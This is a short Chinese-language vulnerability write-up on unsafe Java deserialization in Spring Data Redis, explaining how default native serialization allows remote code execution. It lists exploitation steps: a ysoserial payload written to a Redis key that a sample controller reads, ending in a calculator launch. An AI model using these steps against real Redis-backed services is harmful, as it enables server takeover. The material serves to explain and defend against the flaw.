Spring Data Redis不安全反序列化

Spring Data Redis 概述

Spring Data Redis是更大的Spring Data家族的一部分,提供从Spring应用程序轻松配置和访问Redis。Spring Data Redis在将数据写入Redis之前首先序列化数据。默认情况下,使用Java原生序列化进行序列化。

不安全反序列化

当Spring Data Redis从Redis检索数据时,存储的字节码会被反序列化。由于在反序列化过程中目标类没有被检查或过滤,这可能导致远程代码执行。

利用示例:

  1. 使用ysoserial生成payload

  2. 将生成的payload写入Redis:

    // 尝试选择Redis中已存在的键,以便Spring检索数据时代码执行可以开始
    redis.set("\xac\xed\x00\x05t\x00\brebeyond", payload);
  3. 触发或等待Spring检索数据,易受攻击代码示例:

    @Controller
    public class HelloController {
    
        protected RedisTemplate<Serializable, Serializable> redisTemplate;
    
        @GetMapping("/")
        public String index() {
            Object result = redisTemplate.opsForValue().get("rebeyond");
            return "index";
        }
    }
  4. 服务器成功启动计算器:

    调用栈如下:

参考

最后更新于